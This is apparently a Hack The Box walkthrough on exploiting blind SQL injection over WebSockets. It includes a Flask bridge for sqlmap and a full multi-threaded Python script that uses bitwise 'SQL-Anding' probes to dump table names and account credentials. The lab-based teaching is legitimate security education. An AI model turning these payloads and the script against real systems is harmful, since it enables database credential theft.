Exploiting Blind SQLi via WebSockets
Talking about SQLi over websocket, and optimization extracting.
Hello again, I’m Mony! It’s been a while. Today, I want to share some valuable experiences and techniques I’ve learned about exploiting SQL Injection (SQLi) over WebSockets.
WebSockets are widely used in modern web applications to enable real-time, bidirectional, full-duplex communication over a persistent TCP connection. However, developers often overlook input validation on WebSocket frames under the false assumption that they are less exposed than traditional HTTP endpoints. In reality, any user-controllable input passed into a backend database query can be vulnerable to SQL injection, regardless of the protocol.
Exploiting SQLi over WebSockets presents unique challenges:
- Tooling Incompatibility: Standard automated scanners (like SQLmap) communicate via HTTP/HTTPS request-response cycles and cannot interact directly with stateful
ws://orwss://frame streams out of the box. - Blind Extraction Latency: Without in-band error messages or data output in the response, we must rely on blind SQL injection (Boolean-based or Time-based). Over WebSockets, naive exploitation—especially time-based blind injection—can be painfully slow.
In this guide, we’ll demonstrate the entire exploitation workflow using the Soccer machine from Hack The Box:
- Identifying the injection point in WebSocket communications.
- Building a local HTTP-to-WebSocket middleware bridge in Python/Flask to enable standard SQLmap scans.
- Explaining why SQLmap often defaults to slow time-based blind injection.
- Crafting a high-speed custom exploit leveraging the SQL-Anding (Bitwise Extraction) algorithm combined with multi-threading to dump database credentials in seconds rather than hours.
Core Concepts: Bisection vs. SQL-Anding (Bitwise Extraction)
When extracting data through blind SQL injection, we cannot read the data directly. Instead, we must ask the database a series of TRUE/FALSE questions to guess each character’s ASCII value (0 to 127 for standard ASCII).
1
2
3
4
5
Blind SQLi Extraction Strategies
1. Linear Search Ask: Is it 'a'? Is it 'b'? ... (Up to 95 queries/char) - Very Slow
2. Bisection (Binary) Ask: Is it > 64? Is it > 96? ... (7 queries/char) - Fast, but Sequential
3. SQL-Anding (Bits) Ask: Is bit 0 on? Is bit 1 on? ... (7 queries/char) - Fast & 100% Parallelizable!
1. Bisection (Binary Search)
SQLmap typically uses the bisection algorithm. For each character, it narrows the search space by checking if the ASCII code is greater or less than a midpoint (e.g., ASCII(...) > 64).
- This takes at most 7 queries per character (
log2(128) = 7). - The Bottleneck: Bisection is strictly sequential. You cannot formulate the second query (
> 96vs.< 96) until you receive the server’s answer to the first query (> 64). Each request must wait for the previous round-trip to complete.
2. SQL-Anding (Bitwise AND)
Any 7-bit ASCII value can be represented as the sum of powers of 2 (1, 2, 4, 8, 16, 32, 64):
1
ASCII = (bit0 * 1) + (bit1 * 2) + (bit2 * 4) + (bit3 * 8) + (bit4 * 16) + (bit5 * 32) + (bit6 * 64)
Think of these 7 bits as 7 individual light switches:
- Example: Character
-(ASCII code 45)45 = 32 + 8 + 4 + 1- Switches
1,4,8, and32are ON (1). - Switches
2,16, and64are OFF (0).
We ask the database 7 direct yes/no questions using the bitwise AND operator &:
ASCII(...) & 1 > 0-> Yes (Add 1)ASCII(...) & 2 > 0-> NoASCII(...) & 4 > 0-> Yes (Add 4)ASCII(...) & 8 > 0-> Yes (Add 8)ASCII(...) & 16 > 0-> NoASCII(...) & 32 > 0-> Yes (Add 32)ASCII(...) & 64 > 0-> No
Total: 1 + 4 + 8 + 32 = 45, which is '-'.
Why SQL-Anding Is Massively Faster: Zero Query Dependency
Important: Because each bit is completely independent of every other bit, we do not need to wait for bit 0 to finish before asking about bit 1, bit 2, or even the characters at positions 2, 3, and 4!
We can dispatch all
(7 * length)queries simultaneously across concurrent threads. This transforms a slow sequential chain of requests into an asynchronous parallel blitz.
(For additional visual explanation, check out this reference video on SQL-Anding.)
Identifying the Injection Point
On the Soccer box, we find a ticket validation feature communicating through a WebSocket endpoint at ws://soc-player.soccer.htb:9091.
When the client checks a ticket, it sends a JSON payload:
1
{ "id": "7782" }
If we input an invalid ID, the server returns:
1
Ticket Doesn't Exist
However, if we inject an SQL boolean expression such as 1 OR 1=1:
1
{ "id": "1 OR 1=1" }
The server responds with:
1
Ticket Exists
And if we test with a false condition (1 OR 1=2), it responds with Ticket Doesn't Exist.
This confirms that:
- The backend directly concatenates our input into an SQL query (e.g.,
SELECT ... WHERE id = '<input>'). - We have a clear Boolean-based Blind SQL Injection oracle over WebSockets!
Bridging the Gap: HTTP-to-WebSocket Middleware
Because tools like SQLmap only speak HTTP, we construct a local bridge using Flask. The middleware listens on http://127.0.0.1:8000, accepts an id query parameter via GET, wraps it into a WebSocket frame, forwards it to the target, and converts the WebSocket response back into an HTTP response.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+-------------------------+
| SQLmap / HTTP Client |
+-------------------------+
| ^
GET | | HTTP 200 OK
v |
+-------------------------+
| Local Flask Middleware |
| (127.0.0.1:8000) |
+-------------------------+
| ^
send | | recv
v |
+-------------------------+
| Target WebSocket Server |
| (Port 9091) |
+-------------------------+
| ^
Query | | Result
v |
+-------------------------+
| Backend Database |
+-------------------------+
Middleware Implementation (ws-middleware.py)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from flask import Flask, request, Response
from websocket import create_connection
import json
app = Flask(__name__)
WS_URL = 'ws://soc-player.soccer.htb:9091' # Target WebSocket endpoint
@app.route('/')
def index():
payload = request.args.get('id', '')
if not payload:
return Response("No id parameter", status=400, mimetype='text/plain')
try:
ws = create_connection(WS_URL, timeout=10)
ws.send(json.dumps({"id": payload}))
raw = ws.recv()
ws.close()
except Exception as e:
# Return a consistent 200 OK so automated tools do not drop the connection
return Response(f"WS_ERROR: {e}", status=200, mimetype='text/plain')
# Parse JSON if applicable; fallback to raw text
try:
r = json.loads(raw)
except Exception:
return Response(raw, status=200, mimetype='text/plain')
# Preserve both success and error strings for accurate diffing (FOR SQLMAP)
if r.get('error'):
body = f"ERROR: {r['error']}"
else:
body = f"MESSAGES: {r.get('messages', '')}"
return Response(body, status=200, mimetype='text/plain')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
We can test the bridge using curl:
1
curl "http://127.0.0.1:8000/?id=1"
The bridge receives the HTTP request, relays it through the WebSocket, and returns the response as plain text.
Testing with SQLmap (and The Latency Bottleneck)
With the middleware active, we can run SQLmap against our local proxy:
1
sqlmap -u "http://127.0.0.1:8000/?id=1" -p id --batch
SQLmap detects the vulnerability, but often defaults to time-based blind injection (--technique=T):
- Time-based blind injection causes the database to pause (
SLEEP(5)) whenever a condition is true. - To maintain accuracy over a network, SQLmap usually requires a delay of 3 to 5 seconds per positive test.
Doing the Math on Time-Based Extraction
Imagine extracting a credential string of 127 characters:
- Using bisection, each character requires ~7 requests.
- If roughly half the queries evaluate to TRUE and trigger a 5-second sleep:
1
127 chars * 7 requests * 2.5s avg delay ≈ 2,222 seconds (≈ 37 minutes)
- Factoring in network jitter and retry loops, it can easily take over an hour.
Even with SQLmap’s boolean mode (--technique=B --string="Ticket Exists"), SQLmap must execute queries sequentially.
To achieve peak efficiency, we can write a dedicated exploit script using SQL-anding algorithm.
Custom Exploit
By writing our own exploit script, we eliminate HTTP overhead and can fire hundreds of concurrent bit-probes simultaneously over native WebSockets.
In the following script, i switched to boolean-based injection because it is faster than time-based injection. But we could implement the same algorithm for time-based injection as well.
Complete Exploit Script (exploit.py)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
import json
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from websocket import create_connection
WS_URL = "ws://soc-player.soccer.htb:9091"
TRUE_STR = "Ticket Exists"
WORKERS = 10
def oracle(probe, retries=2):
payload = f"1 OR (1=1 AND ({probe}))"
for _ in range(retries):
try:
ws = create_connection(WS_URL, timeout=10)
ws.send(json.dumps({"id": payload}))
resp = ws.recv()
ws.close()
if isinstance(resp, bytes):
resp = resp.decode(errors="replace")
return TRUE_STR in resp
except Exception:
continue
return False
def dump_number(query, bits=7):
n = 0
for p in range(bits):
if oracle(f"({query}) & {2**p} > 0"):
n |= 2**p
return n
def dump_string(query, length):
val = ""
for i in range(1, length + 1):
c = 0
for p in range(7):
if oracle(f"ASCII(SUBSTRING(({query}),{i},1)) & {2**p} > 0"):
c |= 2**p
val += chr(c)
print(f"[+] {val}", flush=True)
return val
# the following function is for multi-threading, so we don't study it here
def dump_string_parallel(query, length):
result = [0] * (length + 1)
def probe(pos, bit):
q = f"ASCII(SUBSTRING(({query}),{pos},1)) & {2**bit} > 0"
return (pos, bit, oracle(q))
tasks = [(pos, bit) for pos in range(1, length + 1) for bit in range(7)]
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
futures = [ex.submit(probe, p, b) for p, b in tasks]
done = 0
total = len(futures)
for fut in as_completed(futures):
pos, bit, val = fut.result()
if val:
result[pos] |= 2 ** bit
done += 1
if done % 7 == 0:
s = ''.join(chr(result[i]) if result[i] else '' for i in range(1, length + 1))
print(f"[*] Progress ({done}/{total}) -> {s}", flush=True)
return ''.join(chr(result[i]) if result[i] else '' for i in range(1, length + 1))
def extract():
# 1. Database name
db_len = dump_number("SELECT length(database())")
print(f"[*] DB Length: {db_len}")
db = dump_string("SELECT database()", db_len)
print(f"[+] DB Name: {db}\n")
# 2. Count tables
n = dump_number("SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()", bits=7)
print(f"[*] Table Count: {n}")
# 3. Enumerate table names
for i in range(n):
length = dump_number(
f"SELECT LENGTH(table_name) FROM information_schema.tables "
f"WHERE table_schema=database() ORDER BY table_name LIMIT 1 OFFSET {i}",
bits=7
)
name = dump_string(
f"SELECT table_name FROM information_schema.tables "
f"WHERE table_schema=database() ORDER BY table_name LIMIT 1 OFFSET {i}",
length
)
print(f"[+] Table [{i}]: {name}")
# 4. Dump credentials from accounts table
print("\n[*] Dumping 'accounts' credentials...")
l = dump_number("SELECT LENGTH(GROUP_CONCAT(username,0x3a,password)) FROM accounts", bits=8)
print(f"[*] Creds String Length: {l}")
creds = dump_string_parallel("SELECT GROUP_CONCAT(username,0x3a,password) FROM accounts", l)
print(f"[+] Extracted Credentials: {creds}")
if __name__ == "__main__":
if len(sys.argv) > 2:
# Manual query mode: python3 exploit.py "SELECT user()" <length>
query = sys.argv[1]
length = int(sys.argv[2])
print(f"[*] Executing custom query: {query} (len={length})")
print(f"[+] Result: {dump_string_parallel(query, length)}")
else:
extract()
How the Exploit Works
Part 1: The Oracle Wrapper
1
2
def oracle(probe, retries=2):
payload = f"1 OR (1=1 AND ({probe}))"
Why is the payload wrapped as 1 OR (1=1 AND (...))?
- The backend query expects an ID:
SELECT ... WHERE id = '<input>'. - We provide
1—an invalid ID, making the initial conditionFALSE. 1 OR (1=1 AND probe)forces the overall query evaluation to hinge solely onprobe:- If
probeis TRUE ->FALSE OR (TRUE AND TRUE)->TRUE-> Returns"Ticket Exists". - If
probeis FALSE ->FALSE OR (TRUE AND FALSE)->FALSE-> Returns"Ticket Doesn't Exist".
- If
- This converts the server’s response into a clean binary oracle.
Part 2: Extracting Numbers (dump_number)
1
2
3
4
5
6
def dump_number(query, bits=7):
n = 0
for p in range(bits):
if oracle(f"({query}) & {2**p} > 0"):
n |= 2**p
return n
To find lengths or row counts, we loop through bit positions (0 through 6 for numbers up to 127). For each bit p, if the oracle returns True, we toggle bit p in n using bitwise OR (n |= 2**p). In just 7 requests, any number between 0 and 127 is resolved.
Part 3: Parallelized String Extraction (dump_string_parallel)
1
2
3
tasks = [(pos, bit) for pos in range(1, length + 1) for bit in range(7)]
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
futures = [ex.submit(probe, p, b) for p, b in tasks]
This is the core strength of the SQL-Anding approach:
- To extract a string of length 40, there are
40 * 7 = 280total bits. - Because bit states are independent, we don’t query them in sequence. We generate all 280 tasks as a flat list and distribute them across 10 concurrent worker threads.
- As each future completes, it updates its corresponding index in the shared
resultarray usingresult[pos] |= 2 ** bit.
Part 4: Efficient Schema Dumping
Instead of querying columns and rows one by one, we aggregate rows into a single string:
1
SELECT GROUP_CONCAT(username, 0x3a, password) FROM accounts
0x3ais the hexadecimal representation of the colon:separator.- This merges all account credentials into a single string (e.g.,
admin:Pass123,player:PlayerPass), allowing us to exfiltrate the entire table in a single parallelized dump operation.z
Execution & Results
Running the threaded exploit against the target:
The entire credential dump completes in just 37.28 seconds!
Comparing this to traditional approaches:
| Method | Technique | Concurrency | Est. Time for 127 Chars |
|---|---|---|---|
| SQLmap | Time-based Blind | Sequential (1 thread) | ~35 to 60+ minutes |
| SQLmap | Boolean-based Blind | Sequential (1 thread) | ~2 to 4 minutes |
| Custom Script | SQL-Anding (Bitwise) | Multi-threaded (10 workers) | ~30 to 40 seconds |
IF anyone reading until the end, i hope it helpful and useful. :D
Thanks for reading! Keep learning.
— Mony siging off!



